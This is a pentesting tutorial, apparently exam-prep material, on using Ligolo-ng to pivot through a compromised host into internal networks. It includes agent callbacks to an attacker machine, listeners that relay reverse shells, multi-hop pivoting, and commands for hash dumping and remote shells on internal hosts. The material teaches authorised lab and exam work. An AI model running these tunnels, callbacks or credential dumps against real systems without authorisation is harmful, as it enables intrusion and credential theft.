Ligolo-ng

Modern tunneling tool that creates a virtual network interface on your attack box, giving you direct access to internal networks through a compromised host. Replaces the pain of SOCKS proxies and proxychains.

Linux Windows CPTS
LevelIntermediate. Do this after you are comfortable with Chisel and proxychains, since it replaces both.
Know firstWhat a routing table is, and that Ligolo creates a virtual network interface rather than a SOCKS proxy.
You will learn toset up the TUN interface, add a route, and connect an agent so your own tools reach the internal network directly.

What is it?

Ligolo-ng creates a TUN interface on your attack machine that routes traffic through a compromised host into an internal network. Unlike SOCKS proxies (Chisel + proxychains), Ligolo-ng works at the network layer, your tools think they're directly connected to the internal network.

This matters because:

  • No proxychains required: Every tool works natively: Nmap, RDP, SMB, anything. No SOCKS compatibility issues
  • No SOCKS speed penalty: Direct TUN interface is significantly faster than proxychains
  • Easier multi-hop: Chain through multiple compromised hosts without nested proxy nightmares
ComponentWhere it runsWhat it does
Proxy (ligolo-proxy)Your Kali boxListens for agent connections, manages tunnels, creates the TUN interface
Agent (ligolo-agent)Compromised hostConnects back to the proxy and routes traffic into the internal network

Run this first

Three one-time steps on your machine, then an agent on the compromised host connects in.

bash: your first tunnel
$ sudo ip tuntap add user $(whoami) mode tun ligolo
$ sudo ip link set ligolo up
$ ./ligolo-proxy -selfcert

# On the compromised host
$ ./agent -connect YOUR_KALI_IP:11601 -ignore-cert
  • ip tuntap add … ligolo creates the virtual interface. Skip this and the tunnel starts but nothing moves through it.

In the proxy, run session to select the agent, then ifconfig inside Ligolo to see the internal subnet, and sudo ip route add SUBNET dev ligolo to send your traffic there. Your normal tools then work directly, no proxychains prefix needed.

What does it do?

Ligolo-ng makes a network that your Kali box can't directly reach accessible as if it were on your local network.

1
Before Ligolo-ng

You (10.10.14.5) → can reach Target A (10.10.10.50) → but NOT the internal network (172.16.1.0/24) behind it

2
After Ligolo-ng

You (10.10.14.5) → TUN interface routes 172.16.1.0/24 through Target A → you can directly scan/attack 172.16.1.0/24

When do you use it?

Signals for pivoting
  • Compromised host has multiple NICs: Run ipconfig /all or ip a: if you see two different subnets, there's an internal network
  • Compromised host has routes to other subnets: route print or ip route shows routes to networks you can't reach
  • BloodHound shows machines in a different subnet: You need to pivot to reach them
  • You found credentials but the target is on an internal network: You need a tunnel to use them
  • The exam environment has multiple network segments: CPTS always requires pivoting

How do you use it?

Step 1: Set up the TUN interface on Kali

bash: on your Kali box (one-time setup)
# Create the TUN interface (only needs to be done once per boot)
$ sudo ip tuntap add user $(whoami) mode tun ligolo
$ sudo ip link set ligolo up

Step 2: Start the proxy on Kali

bash: on your Kali box
# Start ligolo proxy: listens on port 11601 by default
$ ./ligolo-proxy -selfcert

# -selfcert = use a self-signed TLS cert (fine for pentesting)
# The proxy will listen for incoming agent connections

Step 3: Upload and run the agent on the compromised host

cmd: on the compromised Windows host
REM Upload the agent to the target (via evil-winrm, scp, web server, etc.)
REM Then connect back to your Kali proxy
C:\> agent.exe -connect YOUR_KALI_IP:11601 -ignore-cert

REM Linux target:
$ ./agent -connect YOUR_KALI_IP:11601 -ignore-cert

Step 4: Configure the tunnel in the proxy

ligolo proxy console
:: You'll see the agent connect
[Agent] Agent joined: YOURUSER@TARGETHOST - 10.10.10.50  <-- agent connected, ready to select as a session

:: Select the session
ligolo-ng » session
:: Pick the agent from the list (usually [0])

:: Check what networks the agent can reach
[Agent: TARGETHOST] » ifconfig
┌──────────────────────────────────────────────┐
│ Interface 0                                   │
├──────────────────┬───────────────────────────┤
│ Name             │ Ethernet0                  │
│ IP Address       │ 10.10.10.50/24             │  <-- external
│ Name             │ Ethernet1                  │
│ IP Address       │ 172.16.1.10/24             │  <-- internal!
└──────────────────┴───────────────────────────┘

:: Start the tunnel
[Agent: TARGETHOST] » start

Step 5: Add the route on Kali

bash: on your Kali box (separate terminal)
# Route the internal subnet through the ligolo TUN interface
$ sudo ip route add 172.16.1.0/24 dev ligolo

# Now you can reach the internal network directly!
$ nmap -sC -sV 172.16.1.0/24
$ evil-winrm -i 172.16.1.20 -u admin -p 'Password123!'
$ xfreerdp /v:172.16.1.30 /u:admin /p:'Password123!'
No proxychains needed!

Because Ligolo creates a real network route, every tool works natively. No proxychains nmap, no proxychains evil-winrm. Just use the internal IPs directly as if they were on your LAN.

Reverse port forwarding (listeners)

ligolo proxy console
:: Make the internal network reach YOUR Kali box
:: Example: forward internal port 1234 to your Kali's port 1234
[Agent: TARGETHOST] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:1234 --tcp

:: Use case: you start a listener on Kali:1234 for a reverse shell
:: Internal hosts can connect to TARGETHOST:1234, which forwards to your Kali

:: Another use case: serve files to internal hosts
[Agent: TARGETHOST] » listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080 --tcp
:: Start python HTTP server on Kali:8080, internal hosts access via TARGETHOST:8080

Double pivot (multi-hop)

When you compromise a second host in the internal network that has access to yet another network:

bash + ligolo
# You already have: Kali → Agent1 (172.16.1.10) → internal net 1
# Now Agent1 can reach Host2 (172.16.1.50) which has access to 192.168.1.0/24

# 1. Upload agent to Host2 via the existing tunnel
# 2. Set up a listener so Host2 can reach your proxy
[Agent: HOST1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp

# 3. Run agent on Host2, connecting through Host1
C:\> agent.exe -connect 172.16.1.10:11601 -ignore-cert

# 4. In proxy: select the new session and start the tunnel
ligolo-ng » session
:: Select Host2's session
[Agent: HOST2] » start

# 5. Add the new route on Kali
$ sudo ip route add 192.168.1.0/24 dev ligolo

# Done! Kali → Host1 → Host2 → 192.168.1.0/24

What do you do with the tunnel?

Once the tunnel is up, use every tool you know, just point them at the internal IPs:

  • nmap -sC -sV 172.16.1.0/24: scan the internal network
  • crackmapexec smb 172.16.1.0/24: enumerate SMB across internal hosts
  • evil-winrm -i 172.16.1.20: get a shell on an internal host
  • bloodhound-python -d corp.local -dc 172.16.1.1: collect AD data from internal DC
  • secretsdump.py corp.local/admin@172.16.1.1: dump hashes from internal DC
  • xfreerdp /v:172.16.1.30: RDP to an internal workstation

Common mistakes

Watch out
  • Forgetting to create the TUN interface: sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up: if you skip this, the tunnel starts but traffic goes nowhere
  • Forgetting to add the route: sudo ip route add SUBNET dev ligolo: without this, your Kali doesn't know to send traffic through the tunnel
  • Wrong subnet in the route: Check ifconfig in ligolo to see the exact subnet. Use the internal network's subnet, not the external one
  • Agent can't connect back: Make sure port 11601 is reachable from the target. On HTB, your tun0 IP usually works. Check firewalls
  • Using proxychains out of habit: You don't need proxychains with Ligolo. The route handles everything. proxychains + Ligolo will actually break things
  • Not using listeners for reverse shells: Internal hosts can't reach your Kali directly. Use listener_add to forward a port so reverse shells can connect back through the pivot host
Quick reference: the 5-step setup

1. Create TUN: sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up
2. Start proxy: ./ligolo-proxy -selfcert
3. Run agent on target: ./agent -connect KALI:11601 -ignore-cert
4. In proxy: session → select → start
5. Add route: sudo ip route add INTERNAL_SUBNET dev ligolo

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

You connect the agent but nothing reaches the internal network. What two setup steps are easy to miss?
Creating the TUN interface (ip tuntap add) and adding the route for the internal subnet (ip route add). Skipping either leaves the tunnel up but useless.
How do you find the exact subnet to route?
Run ifconfig inside the Ligolo proxy session to see the agent's real interfaces, and use that subnet, not the external one.
Do you need proxychains with Ligolo?
No. The route handles everything, and running proxychains on top of Ligolo can actually break things.
Agent cannot connect back. What do you check?
That port 11601 is reachable from the target toward your machine, and that no firewall is blocking it.
An internal host needs to send you a reverse shell, but it cannot reach your Kali machine directly. What do you use?
Ligolo's listener_add, which forwards a port through the pivot host so the reverse shell can connect back through it.